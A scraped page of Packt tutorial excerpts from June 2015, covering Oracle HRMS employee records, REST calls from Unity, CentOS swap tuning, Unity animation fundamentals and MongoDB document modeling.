illustrated in various examples in the book ggplot2 Essentials. Resources for Article: Further resources on this subject: Data Analysis Using R [article] Data visualization [article] Using R for Statistics, Research, and Graphics [article]

0
0
10526

article-image-entering-people-information

Packt

24 Jun 2015

9 min read

Entering People Information

Packt

24 Jun 2015

9 min read

In this article by Pravin Ingawale, author of the book Oracle E-Business Suite R12.x HRMS – A Functionality Guide, will learn about entering a person's information in Oracle HRMS. We will understand the hiring process in Oracle. This, actually, is part of the Oracle I-recruitment module in Oracle apps. Then we will see how to create an employee in Core HR. Then, we will learn the concept of person types and defining person types. We will also learn about entering information for an employee, including additional information. Let's see how to create an employee in core HR. (For more resources related to this topic, see here.) Creating an employee An employee is the most important entity in an organization. Before creating an employee, the HR officer must know the date from which the employee will be active in the organization. In Oracle terminology, you can call it the employee's hire date. Apart from this, the HR officer must know basic details of the employee such as first name, last name, date of birth, and so on. Navigate to US HRMS Manager | People | Enter and Maintain. This is the basic form, called People in Oracle HRMS, which is used to create an employee in the application. As you can see in the form, there is a field named Last, which is marked in yellow. This indicates that this is mandatory to create an employee record. First, you need to set the effective date on the form. You can set this by clicking on the icon, as shown in the following screenshot: You need to enter the mandatory field data along with additional data. The following screenshot shows the data entered: Once you enter the required data, you need to specify the action for the entered record. The action we have selected is Create Employment. The Create Employment action will create an employee in the application. There are other actions such as Create Applicant, which is used to create an applicant for I-Recruitment. The Create Placement action is used to create a contingent worker in your enterprise. Once you select this action, it will prompt you to enter the person type of this employee as in the following screenshot. Select the Person Type as Employee and save the record. We will see the concept of person type in the next section. Once you select the employee person type and then save the record, the system will automatically generate the employee number for the person. In our case, the system has generated an employee number 10160. So now, we have created an employee in the application. Concept of person types In any organization, you need to identify different types of people. Here, you can say that you need to group different types of people. There are basically three types of people you capture in HRMS system. They are as follows: Employees: These include current employees and past employees. Past employees are those who were part of your enterprise earlier and are no longer active in the system. You can call them terminated or ex-employees. Applicants: If you are using I-recruitment, applicants can be created. External people: Contact is a special category of external type. Contacts are associated with an employee or an applicant. For example, there might be a need to record the name, address, and phone number of an emergency contact for each employee in your organization. There might also be a need to keep information on dependents of an employee for medical insurance purposes or for some payments in payroll processing. Using person types There are predefined person types in Oracle HRMS. You can add more person types as per your requirements. You can also change the name of existing person types when you install the system. Let's take an example for your understanding. Your organization has employees. There might be employees of different types; you might have regular employees and employees who are contractors in your organization. Hence, you can categorize employees in your organization into two types: Regular employees Consultants The reason for creating these categories is to easily identify the employee type and store different types of information for each category. Similarly, if you are using I-recruitment, then you will have candidates. Hence, you can categorize candidates into two types. One will be internal candidate and the other will be external candidate. Internal candidates will be employees within your organization who can apply for an opening within your organization. An external candidate is an applicant who does not work for your organization but is applying for a position that is open in your company. Defining person types In an earlier section, you learned the concept of person types, and now you will learn how to define person types in the system. Navigate to US HRMS Manager | Other Definitions | Person Types. In the preceding screenshot, you can see four fields, that is, User Name, System Name, Active, and Default flag. There are eight person types recognized by the system and identified by a system name. For each system name, there are predefined usernames. A username can be changed as per your needs. There must be one username that should be the default. While creating an employee, the person types that are marked by the default flag will come by default. To change a username for a person type, delete the contents of the User Name field and type the name you'd prefer to keep. To add a new username to a person type system name: Select New Record from the Edit menu. Enter a unique username and select the system name you want to use. Deactivating person types You cannot delete person types, but you can deactivate them by unchecking the Active checkbox. Entering personal and additional information Until now, you learned how to create an employee by entering basic details such as title, gender, and date of birth. In addition to this, you can enter some other information for an employee. As you can see on the people form, there are various tabs such as Employment, Office details, Background, and so on. Each tab has some fields that can store information. For example, in our case, we have stored the e-mail address of the employee in the Office Details tab. Whenever you enter any data for an employee and then click on the Save button, it will give you two options as shown in the following screenshot: You have to select one of the options to save the data. The differences between both the options are explained with an example. Let's say you have hired a new employee as of 01-Jan-2014. Hence, a new record will be created in the application with the start date as 01-Jan-2014. This is called an effective start date of the record. There is no end date for this record, so Oracle gives it a default end date, which is 31-Dec-4712. This is called the effective end date of the record. Now, in our case, Oracle has created a single record with the start date and end date as 01-Jan-2014 and 31-Dec-4712, respectively. When we try to enter additional data for this record (in our case, it is phone number) then Oracle will prompt you to select the Correction or Update option. This is called the date-tracked option. If you select the correction mode, then Oracle will update an existing record in the application. Now, if you date track to, say, 01-Aug-2014 and then enter the phone number and select the update mode, then it will end the historical data with the new date minus one and create a new record with the start date 01-Aug-2014 with the phone number that you have entered. Thus, the historical data will be preserved and a new record will be created with the start date 01-Aug-2014 and a phone number. The following tabular representation will help you understand better in Correction mode: Employee Number LastName Effective Start Date Effective End Date Phone Number 10160 Test010114 01-Jan-2014 31-Dec-4712 +0099999999 Now, if you want to change the phone number from 01-Aug-2014 in Update mode (date 01-Aug-2014), then the record will be as follows: Employee Number LastName Effective Start Date Effective End Date Phone Number 10160 Test010114 01-Jan-2014 31-Jul-2014 +0099999999 10160 Test010114 01-Aug-2014 31-Jul-2014 +0088888888 Thus, in update mode, you can see that historical data is intact. If HR wants to view some historical data, then the HR employee can easily view this data. Everything associated with Oracle HRMS is date-tracked. Every characteristic about the organization, person, position, salary, and benefits is tightly date-tracked. This concept is very important in Oracle and is used in almost all the forms in which you store employee-related information. Thus, you have learned about the date tracking concept in Oracle APPS. There are some additional fields, which can be configured as per your requirements. Additional personal data can be stored in these fields. These are called as descriptive flexfields in Oracle. We created personal DFF to store data about Years of Industry Experience and whether an employee is Oracle Certified or not. This data can be stored in the People form DFF as marked in the following screenshot: When you click on the box, it will open the new form as shown in the following screenshot. Here, you can enter the additional data. This is called Additional Personal Details DFF. It is stored in personal data; this is normally referred to as the People form DFF. We have created a Special Information Types (SIT) to store information on languages known by an employee. This data will have two attributes, namely, the language known and the fluency. This can be entered by navigating to US HRMS Manager | People | Enter and Maintain | Special Info. Click on the Details section. This will open a new form to enter the required details. Each record in the SIT is date-tracked. You can enter the start date and the end date. Thus, we have seen DFF in which you stored additional person data and we have seen KFF, where you enter the SIT data. Summary In this article, you have learned about creating a new employee, entering employee data, and additional data using DFF and KFF. You also learned the concept of person type. Resources for Article: Further resources on this subject: Knowing the prebuilt marketing, sales, and service organizations [article] Oracle E-Business Suite with Desktop Integration [article] Oracle Integration and Consolidation Products [article]

0
0
7421

article-image-using-rest-api-unity-part-1-what-rest-and-basic-queries

Denny and

24 Jun 2015

6 min read

Using a REST API with Unity Part 1

Denny and

24 Jun 2015

6 min read

Introduction While developing a game, there a number of reasons why you would want to connect to a server. Downloading new assets, such as models, or collecting data from an external source is one reason. Downloading bundle assets can be done through your own server, which allows your game to connect to a server and download the most recent versions of bundle assets. Suppose your game also allowed users to see if that item was available at Amazon, and for what price? If you had the sku number available, you could connect to Amazon's API, and check the price and availability of that item. The most common way to connect to external API's these days, is through a RESTful API. What is a REST API A RESTful api is a common approach to creating scalable web services. It provides users with endpoints to collect and create data using the same HTTP calls to collect web pages (GET, POST, PUT, DELETE). For example, a url like www.fake.com/users could return a JSON of User data. Of course, there is often more security involved with these calls, but this is a good starting point. Once you begin understanding REST API's, it becomes very second nature to query them. Before doing anything in code, you can try a query! Go to the browser and go to the url: http://jsonplaceholder.typicode.com/posts. You should be returned a JSON of some post data. You can see REST endpoints in action already. Your browser posted a GET request to the /posts endpoint, which returns all the posts. What if we want just a specific post? The standard way to do this is to add the id of the post next. Like this: http://jsonplaceholder.typicode.com/posts/1. You should get just a single post this time. Great! Often when building Unity scripts to connect to a REST endpoint, we'll frequently use this site to test on, before we move to the actual REST endpoints I want! Setting up your own server Setting up our own server is a bit out of the scope of this article. In previous projects, we've used a framework like Sails JS to create a Node Server, with REST endpoints. Parsing JSON in Unity Basic REST One of the worst parts of querying REST data is the parsing in Unity. Compared to parsing JSON on the web, Unity's parsing can feel tricky. The primary tool we use to make life a little easier is called SimpleJSON. It allows us to create JSON objects in C#, which we can use to build or read JSON data, and then manipulate them to our need. We won't be going into detail on how to use SimpleJSON, as much as just using the data retrieved from it. For further reading, we recommend looking at their documentation. Just to note though, SimpleJSON does not allow for parsing of GameObjects and such in Unity, instead it deals with only more primitive attributes like strings and floats. For example, let's assume we wanted to upload a list of products to a server from our Unity project, without the game running (in editor). Assuming we collected the data from our game and its currently residing in a JSON file, let's see the code on how we can upload this data to the server from Unity. string productlist = File.ReadAllText(Application.dataPath + "/Resources/AssetBundles/" + "AssetBundleInfo.json"); UploadProductListJSON(productList); static void UploadProductListJSON(string data) { Debug.Log (data); WWWForm form = new WWWForm(); form.AddField("productlist", data); WWW www = new WWW("localhost:1337/product/addList", form); } So we pass the collected data to a function that will create a new form, add the data to that form and then use the WWW variable to upload our form to the server. This will use the POST request to add new data. We normally don't want to create a different end point to add data, such as /addList. We could have added data one at a time, and used the standard REST endpoint (/product). This would likely be the cleaner solution, but for the sake of simplicity, we've added an endpoint that accepts a list of data. Building REST Factories for In Game REST Calls Rather than having random scripts containing API calls, we recommend following the standard web procedure and building REST factories. Scripts with the sole purpose of querying rest endpoints. When contacting a server from in game, the standard approach is to use a coroutine, as to not lock your game on the thread. Let's take a look at the standard DB factory we use. private string results; public String Results { get { return results; } } public WWW GET(string url, System.Action onComplete ) { WWW www = new WWW (url); StartCoroutine (WaitForRequest (www, onComplete)); return www; } public WWW POST(string url, Dictionary<string,string> post, System.Action onComplete) { WWWForm form = new WWWForm(); foreach(KeyValuePair<string,string> post_arg in post) { form.AddField(post_arg.Key, post_arg.Value); } WWW www = new WWW(url, form); StartCoroutine(WaitForRequest(www, onComplete)); return www; } private IEnumerator WaitForRequest(WWW www, System.Action onComplete) { yield return www; // check for errors if (www.error == null) { results = www.text; onComplete(); } else { Debug.Log (www.error); } } The url data here would be something like our example above: http://jsonplaceholder.typicode.com/posts. The System.Action OnComplete is a callback to be called once the action is complete. This will normally be some method that requires the downloaded data. In both our GET and POST methods, we will connect to a passed URL, and then pass our www objects to a co-routine. This will allow our game to continue while the queries are being resolved in the WaitForRequest method. This method will either collect the result, and call any callbacks, or it will log the error for us. Conclusion This just touches the basics of building a game that allows connecting and usage of REST endpoints. In later editions, we can talk about building a thorough, modular system to connect to REST endpoints, extracting meaningful data from your queries using simple JSON, user authentication, and how to build a manager system to handle multiple REST calls. About the Authors Denny is a Mobile Application Developer at Canadian Tire Development Operations. While working, Denny regularly uses Unity to create in-store experiences, but also works on other technologies like Famous, Phaser.IO, LibGDX, and CreateJS when creating game-like apps. He also enjoys making non-game mobile apps, but who cares about that, am I right? Travis is a Software Engineer, living in the bitter region of Winnipeg, Canada. His work and hobbies include Game Development with Unity or Phaser.IO, as well as Mobile App Development. He can enjoy a good video game or two, but only if he knows he'll win!

0
1
23739

How-To Tutorials

article-image-tuning-server-performance-memory-management-and-swap

Packt

24 Jun 2015

7 min read

Tuning server performance with memory management and swap

Packt

24 Jun 2015

7 min read

In this article, by Jonathan Hobson, the author of Troubleshooting CentOS, we will learn about memory management, swap, and swappiness. (For more resources related to this topic, see here.) A deeper understanding of the underlying active processes in CentOS 7 is an essential skill for any troubleshooter. From high load averages to slow response times, system overloads to dead and dying processes, there comes a time when every server may start to feel sluggish, act impoverished, or fail to respond, and as a consequence, it will require your immediate attention. Regardless of how you look at it, the question of memory usage remains critical to the life cycle of a system, and whether you are maintaining system health or troubleshooting a particular service or application, you will always need to remember that the use of memory is a critical resource to your system. For this reason, we will begin by calling the free command in the following way: # free -m The main elements of the preceding command will look similar to this: Total used free shared buffers cached Mem: 1837 274 1563 8 0 108 -/+ buffers/cache: 164 1673 Swap: 2063 0 2063 In the example shown, I have used the -m option to ensure that the output is formatted in megabytes. This makes it easier to read, but for the sake of troubleshooting, rather than trying to understand every numeric value shown, let's reduce the scope of the original output to highlight the relevant area of concern: -/+ buffers/cache: 164 1673 The importance of this line is based on the fact that it accounts for the associated buffers and caches to illustrate what memory is currently being used and what is held in reserve. Where the first value indicates how much memory is being used, the second value tells us how much memory is available to our applications. In the example shown, this instance translates into 164 MB of used memory and 1673 MB of available memory. Bearing this in mind, let me draw your attention to the final line in order that we can examine the importance of swap: Swap: 2063 0 2063 Swapping typically occurs when memory usage is impacting performance. As we can see from the preceding example, the first value tells us that there is a total amount of system swap set at 2063 MB, with the second value indicating how much swap is being used (0 MB), while the third value shows the amount of swap that is still available to the system as a whole (2063 MB). So yes, based on the example data shown here, we can conclude that this is a healthy system, and no swap is being used, but while we are here, let's use this time to discover more about the swap space on your system. To begin, we will revisit the contents of the proc directory and reveal the total and used swap size by typing the following command: # cat /proc/swaps Assuming that you understand the output shown, you should then investigate the level of swappiness used by your system with the following command: # cat /proc/sys/vm/swappiness Having done this, you will now see a numeric value between the ranges of 0-100. The numeric value is a percentage and it implies that, if your system has a value of 30, for example, it will begin to use swap memory at 70 percent occupation of RAM. The default for all Linux systems is usually set with a notional value between 30 to 60, but you can use either of the following commands to temporarily change and modify the swappiness of your system. This can be achieved by replacing the value of X with a numeric value from 1-100 by typing: # echo X > /proc/sys/vm/swappiness Or more specifically, this can also be achieved with: # sysctl -w vm.swappiness=X If you change your mind at any point, then you have two options in order to ensure that no permanent changes have been made. You can either repeat one of the preceding two commands and return the original values, or issue a full system reboot. On the other hand, if you want to make the change persist, then you should edit the /etc/sysctl.conf file and add your swappiness preferences in the following way: vm.swappiness=X When complete, simply save and close the file to ensure that the changes take effect. The level of swappiness controls the tendency of the kernel to move a process out of the physical RAM on to a swap disk. This is memory management at work, but it is important to realize that swapping will not occur immediately, as the level of swappiness is actually expressed as a percentage value. For this reason, the process of swapping should be viewed more as a measurement of preference when using the cache, and as every administrator will know, there is an option for you to clear the swap by using the commands swapoff -a and swapon -a to achieve the desired result. The golden rule is to realize that a system displaying a level of swappiness close to the maximum value (100) will prefer to begin swapping inactive pages. This is because a value of 100 is a representative of 0 percent occupation of RAM. By comparison, the closer your system is to the lowest value (0), the less likely swapping is to occur as 0 is representative of 100 percent occupation of RAM. Generally speaking, we would all probably agree that systems with a very large pool of RAM would not benefit from aggressive swapping. However, and just to confuse things further, let's look at it in a different way. We all know that a desktop computer will benefit from a low swappiness value, but in certain situations, you may also find that a system with a large pool of RAM (running batch jobs) may also benefit from a moderate to aggressive swap in a fashion similar to a system that attempts to do a lot but only uses small amounts of RAM. So, in reality, there are no hard and fast rules; the use of swap should be based on the needs of the system in question rather than looking for a single solution that can be applied across the board. Taking this further, special care and consideration should be taken while making changes to the swapping values as RAM that is not used by an application is used as disk cache. In this situation, by decreasing swappiness, you are actually increasing the chance of that application not being swapped-out, and you are thereby decreasing the overall size of the disk cache. This can make disk access slower. However, if you do increase the preference to swap, then because hard disks are slower than memory modules, it can lead to a slower response time across the overall system. Swapping can be confusing, but by knowing this, we can also appreciate the hidden irony of swappiness. As Newton's third law of motion states, for every action, there is an equal and opposite reaction, and finding the optimum swappiness value may require some additional experimentation. Summary In this article, we learned some basic yet vital commands that help us gauge and maintain server performance with the help of swapiness. Resources for Article: Further resources on this subject: Installing CentOS [article] Managing public and private groups [article] Installing PostgreSQL [article]

0
0
5030

article-image-introduction-reactive-programming

Packt

24 Jun 2015

23 min read

An Introduction to Reactive Programming

Packt

24 Jun 2015

23 min read

0
0
4496

Packt

24 Jun 2015

12 min read

Animation Fundamentals

Packt

24 Jun 2015

12 min read

In this article by Alan Thorn, author of the book, Unity Animation Essentials, you learn the fundamentals of animation. The importance of animation cannot be understated. Without animation, everything in-game would be statuesque, lifeless and perhaps boring. This holds true for nearly everything in games: doors must open, characters must move, foliage should sway with the wind, sparkles and particles should explode and shine, and so on. Consequently, learning animation and how to animate properly will unquestionably empower you as a developer, no matter what your career plans are. As a subject, animation creeps unavoidably into most game fields, and it's a critical concern for all members of a team—obviously for artists and animators, but also for programmers, sound designers, and level designers. The aim is to quickly and effectively introduce the fundamental concepts and practices surrounding animation in real-time games, specifically animation in Unity. You will be capable of making effective animations that express your artistic vision, as well as gaining an understanding of how and where you can expand your knowledge to the next level. But to reach that stage we'll begin, with the most basic concepts of animation—the groundwork for any understanding of animation. (For more resources related to this topic, see here.) Understanding animation At its most fundamental level, animation is about a relationship between two specific and separate properties, namely change on one hand and time on the other. Technically, animation defines change over time, that is, how a property adjusts or varies across time, such as how the position of a car changes over time, or how the color of a traffic light transitions over time from red to green. Thus, every animation occurs for a total length of time (duration), and throughout its lifetime, the properties of the objects will change at specific moments (frames), anywhere from the beginning to the end of the animation. This definition is itself technical and somewhat dry, but relevant and important. However, it fails to properly encompass the aesthetic and artistic properties of animation. Through animation and through creative changes in properties over time, moods, atmospheres, worlds, and ideas can be conveyed effectively. Even so, the emotional and artistic power that comes from animation is ultimately a product of the underlying relationship of change with time. Within this framework of change over time, we may identify further key terms, specifically in computer animation. You may already be familiar with these concepts, but let's define them more formally. Frames Within an animation, time must necessarily be divided into separate and discrete units where change can occur. These units are called frames. Time is essentially a continuous and unbreakable quantity, insofar as you can always subdivide time (such as a second) to get an even smaller unit of time (such as a millisecond), and so on. In theory, this process of subdivision could essentially be carried on ad infinitum, resulting in smaller and smaller fractions of time. The concept of amoment or eventin time is, by contrast, a human-made, discrete, and self-contained entity. It is a discrete thing that we perceive in time to make our experience of the world more intelligible. Unlike time, a moment is what it is, and it cannot be broken down into something smaller without ceasing to exist altogether. Inside a moment, or a frame, things can happen. A frame is an opportunity for properties to change—for doors to open, characters to move, colors to change, and more. In video game animation specifically, each second can sustain or contain a specified number of frames. The amount of frames passing within a second will vary from computer to computer, depending on the hardware capacity, the software installed, and other factors. The frame capacity per second is called FPS (frames per second). It's often used as a measure of performance for a game, since lower frame rates are typically associated with jittery and poor performance. Key frames Although a frame represents an opportunity for change, it doesn't necessarily mean change will occur. Many frames can pass by in a second, and not every frame requires a change. Moreover, even if a change needs to happen for a frame, it would be tedious if animators had to define every frame of action. One of the benefits of computer animation, contrasted with manual, or "old", animation techniques, is that it can make our lives easier. Animators can instead define key, or important, frames within an animation sequence, and then have the computer automatically generate the intervening frames. Consider a simple animation in which a standard bedroom door opens by rotating outwards on its hinges by 90 degrees. The animation begins with the door in the closed position and ends in an open position. Here, we have defined two key states for the door (open and closed), and these states mark the beginning and end of the animation sequence. These are called key frames, because they define key moments within the animation. On the basis of key frames, Unity (as we'll see) can autogenerate the in-between frames (tweens), smoothly rotating the door from its starting frame to its ending frame. The mathematical process of generating tweens is termed as interpolation. Animation types The previous section defined the core concepts underpinning animation generally. Specifically, it covered change, time, frames, key frames, tweens, and interpolation. On the basis of this, we can identify several types of animation in video games from a technical perspective, as opposed to an artistic one. All variations depend on the concepts we've seen, but they do so in different and important ways. These animation types are significant for Unity because the differences in their nature require us to handle and work with them differently, using specific workflows and techniques. The animation types are listed throughout this section, as follows. Rigid body animation Rigid body animation is used to create pre-made animation sequences that move or change the properties of objects, considering those objects as whole or complete entities, as opposed to objects with smaller and moving parts. Some examples of this type of animation are a car racing along the road, a door opening on its hinges, a spaceship flying through space on its trajectory, and a piano falling from the side of a building. Despite the differences among these examples, they all have an important common ingredient. Specifically, although the object changes across key frames, it does so as a single and complete object. In other words, although the door may rotate on its hinges from a closed state to an open state, it still ends the animation as a door, with the same internal structure and composition as before. It doesn't morph into a tiger or a lion. It doesn't explode or turn into jelly. It doesn't melt into rain drops. Throughout the animation, the door retains its physical structure. It changes only in terms of its position, rotation and scale. Thus, in rigid body animation, changes across key frames apply to whole objects and their highest level properties. They do not filter down to sub properties and internal components, and they don't change the essence or internal forms of objects. These kinds of animation can be defined either directly in the Unity animation editor, or inside 3D animation software (such as Maya, Max, or Blender) and then imported to Unity through mesh files. Key frame animation for rigid bodies Rigged or bone-based animation If you need to animate human characters, animals, flesh-eating goo, or exploding and deforming objects, then rigid body animation probably won't be enough. You'll need bone-based animation (also called rigged animation). This type of animation changes not the position, rotation, or scale of an object, but the movement and deformation of its internal parts across key frames. It works like this: the animation artist creates a network of special bone objects to approximate the underlying skeleton of a mesh, allowing independent and easy control of the surrounding and internal geometry. This is useful for animating arms, legs, head turns, mouth movements, tree rustling, and a lot more. Typically, bone-based animation is created as a complete animation sequence in 3D modeling software and is imported to Unity inside a mesh file, which can be processed and accessed via Mecanim, the Unity animation system. Bone-based animation is useful for character meshes Sprite animation For 2D games, graphical user interfaces, and a variety of special effects in 3D (such as water textures), you'll sometimes need a standard quad or plane mesh with a texture that animates. In this case, neither the object moves, as with rigid body animation, nor do any of its internal parts change, as with rigged animation. Rather, the texture itself animates. This animation type is called sprite animation. It takes a sequence of images or frames and plays them in order at a specified frame rate to achieve a consistent and animated look, for example, a walk cycle for a character in a 2D side-scrolling game. Physics-based animation In many cases, you can predefine your animation. That is, you can fully plan and create animation sequences for objects that will play in a predetermined way at runtime, such as walk cycles, sequences of door opening, explosions, and others. But sometimes, you need animation that appears realistic and yet responds to its world dynamically, based on decisions made by the player and other variable factors of the world that cannot be predicted ahead of time. There are different ways to handle these scenarios, but one is to use the Unity physics system, which includes components and other data that can be attached to objects to make them behave realistically. Examples of this include falling to the ground under the effects of gravity, and bending and twisting like cloth in the wind. Physics animation Morph animation Occasionally, none of the animation methods you've read so far—rigid body, physics-based, rigged, or sprite animation—give you what's needed. Maybe, you need to morph one thing into another, such as a man into a werewolf, a toad into a princess, or a chocolate bar into a castle. In some instances, you need to blend, or merge smoothly, the state of a mesh in one frame into a different state in a different frame. This is called morph animation, or blend shapes. Essentially, this method relies on snapshots of a mesh's vertices across key frames in an animation, and blends between the states via tweens. The downside to this method is its computational expense. It's typically performance intensive, but its results can be impressive and highly realistic. See the following screenshot for the effects of blend shapes: Morph animation start state BlendShapes transition a model from one state to another. See the following figure for the destination state: Morph animation end state Video animation Perhaps one of Unity's lesser known animation features is its ability to play video files as animated textures on desktop platforms and full-screen movies on mobile devices such as iOS and Android devices. Unity accepts OGV (Ogg Theora) videos as assets, and can replay both videos and sounds from these files as an animated texture on mesh objects in the scene. This allows developers to replay pre-rendered video file output from any animation package directly in their games. This feature is powerful and useful, but also performance intensive. Video file animation Particle animation Most animation methods considered so far are for clearly defined, tangible things in a scene, such as sprites and meshes. These are objects with clearly marked boundaries that separate them from other things. But you'll frequently need to animate less tangible, less solid, and less physical matter, such as smoke, fire, bubbles, sparkles, smog, swarms, fireworks, clouds, and others. For these purposes, a particle system is indispensable. Particle systems are entirely configurable objects that can be used to simulate rain, snow, flock of birds, and more. See the following screenshot for a particle system in action: Particle system animation Programmatic animation Surprisingly, the most common animation type is perhaps programmatic animation, or dynamic animation. If you need a spaceship to fly across the screen, a user-controlled character to move around an environment, or a door to open when approached, you'll probably need some programmatic animation. This refers to changes made to properties in objects over time, which arise because of programming—code that a developer has written specifically for that purpose. Unlike many other forms of animation, the programmatic form is not created or built in advance by an artist or animator per se, because its permutations and combinations cannot be known upfront. So, it's coded by a programmer and has the flexibility to change and adjust according to conditions and variables at runtime. Of course, in many cases, animations are made by artists and animators and the code simply triggers or guides the animation at runtime. Summary This article considered animation abstractly, as a form of art, and as a science. We covered the types of animation that are most common in Unity games. In addition, we examined some core tasks and ideas in programmatic animation, including the ability to animate and change objects dynamically through code without relying on pre-scripted or predefined animations, which will engross you in much of this article. Resources for Article: Further resources on this subject: Saying Hello to Unity and Android [article] Looking Back, Looking Forward [article] What's Your Input? [article]

0
0
2689

How-To Tutorials

article-image-securing-your-network-using-firewalld

Packt

23 Jun 2015

13 min read

Securing Your Network using firewalld

Packt

23 Jun 2015

13 min read

0
0
9404

article-image-moving-further-numpy-modules

Packt

23 Jun 2015

23 min read

Moving Further with NumPy Modules

Packt

23 Jun 2015

23 min read

0
0
4499

Packt

23 Jun 2015

11 min read

SQL Injection

Packt

23 Jun 2015

11 min read

0
0
8207

Packt

22 Jun 2015

25 min read

The pandas Data Structures

Packt

22 Jun 2015

25 min read

0
0
4873

article-image-documents-and-collections-data-modeling-mongodb

Packt

22 Jun 2015

12 min read

Documents and Collections in Data Modeling with MongoDB

Packt

22 Jun 2015

12 min read

In this article by Wilson da Rocha França, author of the book, MongoDB Data Modeling, we will cover documents and collections used in data modeling with MongoDB. (For more resources related to this topic, see here.) Data modeling is a very important process during the conception of an application since this step will help you to define the necessary requirements for the database's construction. This definition is precisely the result of the data understanding acquired during the data modeling process. As previously described, this process, regardless of the chosen data model, is commonly divided into two phases: one that is very close to the user's view and the other that is a translation of this view to a conceptual schema. In the scenario of relational database modeling, the main challenge is to build a robust database from these two phases, with the aim of guaranteeing updates to it with any impact during the application's lifecycle. A big advantage of NoSQL compared to relational databases is that NoSQL databases are more flexible at this point, due to the possibility of a schema-less model that, in theory, can cause less impact on the user's view if a modification in the data model is needed. Despite the flexibility NoSQL offers, it is important to previously know how we will use the data in order to model a NoSQL database. It is a good idea not to plan the data format to be persisted, even in a NoSQL database. Moreover, at first sight, this is the point where database administrators, quite used to the relational world, become more uncomfortable. Relational database standards, such as SQL, brought us a sense of security and stability by setting up rules, norms, and criteria. On the other hand, we will dare to state that this security turned database designers distant of the domain from which the data to be stored is drawn. The same thing happened with application developers. There is a notable divergence of interests among them and database administrators, especially regarding data models. The NoSQL databases practically bring the need for an approximation between database professionals and the applications, and also the need for an approximation between developers and databases. For that reason, even though you may be a data modeler/designer or a database administrator, don't be scared if from now on we address subjects that are out of your comfort zone. Be prepared to start using words common from the application developer's point of view, and add them to your vocabulary. This article will cover the following: Introducing your documents and collections The document's characteristics and structure Introducing documents and collections MongoDB has the document as a basic unity of data. The documents in MongoDB are represented in JavaScript Object Notation (JSON). Collections are groups of documents. Making an analogy, a collection is similar to a table in a relational model and a document is a record in this table. And finally, collections belong to a database in MongoDB. The documents are serialized on disk in a format known as Binary JSON (BSON), a binary representation of a JSON document. An example of a document is: { "_id": 123456, "firstName": "John", "lastName": "Clay", "age": 25, "address": { "streetAddress": "131 GEN. Almério de Moura Street", "city": "Rio de Janeiro", "state": "RJ", "postalCode": "20921060" }, "phoneNumber":[ { "type": "home", "number": "+5521 2222-3333" }, { "type": "mobile", "number": "+5521 9888-7777" } ] } Unlike the relational model, where you must declare a table structure, a collection doesn't enforce a certain structure for a document. It is possible that a collection contains documents with completely different structures. We can have, for instance, on the same users collection: { "_id": "123456", "username": "johnclay", "age": 25, "friends":[ {"username": "joelsant"}, {"username": "adilsonbat"} ], "active": true, "gender": "male" } We can also have: { "_id": "654321", "username": "santymonty", "age": 25, "active": true, "gender": "male", "eyeColor": "brown" } In addition to this, another interesting feature of MongoDB is that not just data is represented by documents. Basically, all user interactions with MongoDB are made through documents. Besides data recording, documents are a means to: Define what data can be read, written, and/or updated in queries Define which fields will be updated Create indexes Configure replication Query the information from the database Before we go deep into the technical details of documents, let's explore their structure. JSON JSON is a text format for the open-standard representation of data and that is ideal for data traffic. To explore the JSON format deeper, you can check ECMA-404 The JSON Data Interchange Standard where the JSON format is fully described. JSON is described by two standards: ECMA-404 and RFC 7159. The first one puts more focus on the JSON grammar and syntax, while the second provides semantic and security considerations. As the name suggests, JSON arises from the JavaScript language. It came about as a solution for object state transfers between the web server and the browser. Despite being part of JavaScript, it is possible to find generators and readers for JSON in almost all the most popular programming languages such as C, Java, and Python. The JSON format is also considered highly friendly and human-readable. JSON does not depend on the platform chosen, and its specification are based on two data structures: A set or group of key/value pairs A value ordered list So, in order to clarify any doubts, let's talk about objects. Objects are a non-ordered collection of key/value pairs that are represented by the following pattern: { "key" : "value" } In relation to the value ordered list, a collection is represented as follows: ["value1", "value2", "value3"] In the JSON specification, a value can be: A string delimited with " " A number, with or without a sign, on a decimal base (base 10). This number can have a fractional part, delimited by a period (.), or an exponential part followed by e or E Boolean values (true or false) A null value Another object Another value ordered array The following diagram shows us the JSON value structure: Here is an example of JSON code that describes a person: { "name" : "Han", "lastname" : "Solo", "position" : "Captain of the Millenium Falcon", "species" : "human", "gender":"male", "height" : 1.8 } BSON BSON means Binary JSON, which, in other words, means binary-encoded serialization for JSON documents. If you are seeking more knowledge on BSON, I suggest you take a look at the BSON specification on http://bsonspec.org/. If we compare BSON to the other binary formats, BSON has the advantage of being a model that allows you more flexibility. Also, one of its characteristics is that it's lightweight—a feature that is very important for data transport on the Web. The BSON format was designed to be easily navigable and both encoded and decoded in a very efficient way for most of the programming languages that are based on C. This is the reason why BSON was chosen as the data format for MongoDB disk persistence. The types of data representation in BSON are: String UTF-8 (string) Integer 32-bit (int32) Integer 64-bit (int64) Floating point (double) Document (document) Array (document) Binary data (binary) Boolean false (x00 or byte 0000 0000) Boolean true (x01 or byte 0000 0001) UTC datetime (int64)—the int64 is UTC milliseconds since the Unix epoch Timestamp (int64)—this is the special internal type used by MongoDB replication and sharding; the first 4 bytes are an increment, and the last 4 are a timestamp Null value () Regular expression (cstring) JavaScript code (string) JavaScript code w/scope (code_w_s) Min key()—the special type that compares a lower value than all other possible BSON element values Max key()—the special type that compares a higher value than all other possible BSON element values ObjectId (byte*12) Characteristics of documents Before we go into detail about how we must model documents, we need a better understanding of some of its characteristics. These characteristics can determine your decision about how the document must be modeled. The document size We must keep in mind that the maximum length for a BSON document is 16 MB. According to BSON specifications, this length is ideal for data transfers through the Web and to avoid the excessive use of RAM. But this is only a recommendation. Nowadays, a document can exceed the 16 MB length by using GridFS. GridFS allows us to store documents in MongoDB that are larger than the BSON maximum size, by dividing it into parts, or chunks. Each chunk is a new document with 255 K of size. Names and values for a field in a document There are a few things that you must know about names and values for fields in a document. First of all, any field's name in a document is a string. As usual, we have some restrictions on field names. They are: The _id field is reserved for a primary key You cannot start the name using the character $ The name cannot have a null character, or (.) Additionally, documents that have indexed fields must respect the size limit for an indexed field. The values cannot exceed the maximum size of 1,024 bytes. The document primary key As seen in the preceding section, the _id field is reserved for the primary key. By default, this field must be the first one in the document, even when, during an insertion, it is not the first field to be inserted. In these cases, MongoDB moves it to the first position. Also, by definition, it is in this field that a unique index will be created. The _id field can have any value that is a BSON type, except the array. Moreover, if a document is created without an indication of the _id field, MongoDB will automatically create an _id field of the ObjectId type. However, this is not the only option. You can use any value you want to identify your document as long as it is unique. There is another option, that is, generating an auto-incremental value based on a support collection or on an optimistic loop. Support collections In this method, we use a separate collection that 